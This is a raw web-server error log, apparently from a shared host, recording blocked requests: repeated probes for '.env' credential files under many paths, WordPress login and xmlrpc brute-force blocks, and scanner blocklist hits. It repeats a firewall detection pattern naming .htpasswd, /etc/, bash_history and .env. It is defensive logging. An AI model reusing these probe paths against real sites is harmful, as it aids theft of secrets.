https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:17:00.029298 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:17:00.031471 2026] [security2:error] [pid 648189:tid 648448] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/control/.env"] [unique_id "ai3y_FWSojQL4F7upKBhewAAAOI"] [Sat Jun 13 18:17:00.166630 2026] [security2:error] [pid 648189:tid 648402] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/core/app/.env"] [unique_id "ai3y_FWSojQL4F7upKBhfgAAALY"] [Sat Jun 13 18:17:00.301411 2026] [security2:error] [pid 648189:tid 648364] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/core/Datavase/.env"] [unique_id "ai3y_FWSojQL4F7upKBhgQAAAJA"] [Sat Jun 13 18:17:00.436339 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/core/persistence/.env"] [unique_id "ai3y_FWSojQL4F7upKBhhQAAAIk"] [Sat Jun 13 18:17:00.548561 2026] [security2:error] [pid 648189:tid 648244] [remote 17.241.75.184:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_FWSojQL4F7upKBhiAAA-Rc"] [Sat Jun 13 18:17:00.565740 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:17:00.566008 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvZGV2aWNlL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:17:00.571258 2026] [security2:error] [pid 648189:tid 648426] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/core/src/main/resources/org/jobrunr/dashboard/frontend/.env"] [unique_id "ai3y_FWSojQL4F7upKBhigAAAM0"] [Sat Jun 13 18:17:00.707503 2026] [security2:error] [pid 648189:tid 648477] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/counterblockd/.env"] [unique_id "ai3y_FWSojQL4F7upKBhkAAAAPs"] [Sat Jun 13 18:17:00.842096 2026] [security2:error] [pid 648189:tid 648410] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/counterwallet/.env"] [unique_id "ai3y_FWSojQL4F7upKBhlgAAAL0"] [Sat Jun 13 18:17:00.899315 2026] [security2:error] [pid 648189:tid 648405] [client 63.135.161.139:53855] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.161.135.63.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "tiptoppartyrentals.com"] [uri "/wp-login.php"] [unique_id "ai3y_FWSojQL4F7upKBhlQAAALg"] [Sat Jun 13 18:17:00.963787 2026] [security2:error] [pid 648189:tid 648334] [remote 17.241.227.47:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 47.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_FWSojQL4F7upKBhmwAArm8"] [Sat Jun 13 18:17:00.984335 2026] [security2:error] [pid 648189:tid 648399] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cp/.env"] [unique_id "ai3y_FWSojQL4F7upKBhnAAAALM"] [Sat Jun 13 18:17:01.066876 2026] [security2:error] [pid 648189:tid 648291] [remote 17.246.19.248:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 248.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_VWSojQL4F7upKBhoQAAikU"] [Sat Jun 13 18:17:01.108633 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:17:01.108906 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:17:01.119152 2026] [security2:error] [pid 648189:tid 648415] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cronlab/.env"] [unique_id "ai3y_VWSojQL4F7upKBhowAAAMI"] [Sat Jun 13 18:17:01.209041 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.31:47268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:01.209298 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.31:47268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:01.255363 2026] [security2:error] [pid 648189:tid 648413] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/cryo_project/.env"] [unique_id "ai3y_VWSojQL4F7upKBhpwAAAMA"] [Sat Jun 13 18:17:01.288091 2026] [security2:error] [pid 648189:tid 648483] [client 34.23.213.224:43878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_VWSojQL4F7upKBhqgAAAQE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:01.388166 2026] [security2:error] [pid 646876:tid 646902] [remote 17.22.245.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_dyTkdrNlD40tSGsfwAAbxc"] [Sat Jun 13 18:17:01.391494 2026] [security2:error] [pid 648189:tid 648439] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/css/.env"] [unique_id "ai3y_VWSojQL4F7upKBhrQAAANo"] [Sat Jun 13 18:17:01.441917 2026] [security2:error] [pid 648189:tid 648432] [client 189.217.192.30:50168] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3y_VWSojQL4F7upKBhsAAAANM"] [Sat Jun 13 18:17:01.442104 2026] [security2:error] [pid 648189:tid 648432] [client 189.217.192.30:50168] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3y_VWSojQL4F7upKBhsAAAANM"] [Sat Jun 13 18:17:01.452885 2026] [security2:error] [pid 648189:tid 648353] [client 34.23.213.224:43892] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_VWSojQL4F7upKBhsgAAAIU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:01.527199 2026] [security2:error] [pid 648189:tid 648378] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/custom/.env"] [unique_id "ai3y_VWSojQL4F7upKBhtwAAAJ4"] [Sat Jun 13 18:17:01.544804 2026] [security2:error] [pid 648189:tid 648317] [remote 17.241.227.101:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y_VWSojQL4F7upKBhtQAA3l8"] [Sat Jun 13 18:17:01.546427 2026] [security2:error] [pid 646876:tid 647052] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/strtok_error.phpt"] [unique_id "ai3y_dyTkdrNlD40tSGsgAAAACw"] [Sat Jun 13 18:17:01.610143 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:17:01.610609 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:17:01.612956 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.53:41984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:01.613227 2026] [access_compat:error] [pid 648189:tid 648230] [remote 57.141.14.53:41984] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:01.616315 2026] [security2:error] [pid 648189:tid 648375] [client 34.23.213.224:43908] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_VWSojQL4F7upKBhvQAAAJs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:01.661628 2026] [security2:error] [pid 648189:tid 648447] [client 185.177.72.9:40450] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/d/.env"] [unique_id "ai3y_VWSojQL4F7upKBhwAAAAOE"] [Sat Jun 13 18:17:01.778791 2026] [security2:error] [pid 648189:tid 648359] [client 34.23.213.224:43910] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y_VWSojQL4F7upKBhxgAAAIs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:01.795667 2026] [security2:error] [pid 648189:tid 648460] [client 185.177.72.9:40450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dashboard/i.php"] [unique_id "ai3y_VWSojQL4F7upKBhxwAAAOo"] [Sat Jun 13 18:17:01.821543 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.28:61382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:01.821973 2026] [access_compat:error] [pid 648189:tid 648249] [remote 57.141.14.28:61382] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:01.839579 2026] [security2:error] [pid 648189:tid 648448] [client 189.217.192.30:50169] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3y_VWSojQL4F7upKBhzAAAAOI"] [Sat Jun 13 18:17:01.839776 2026] 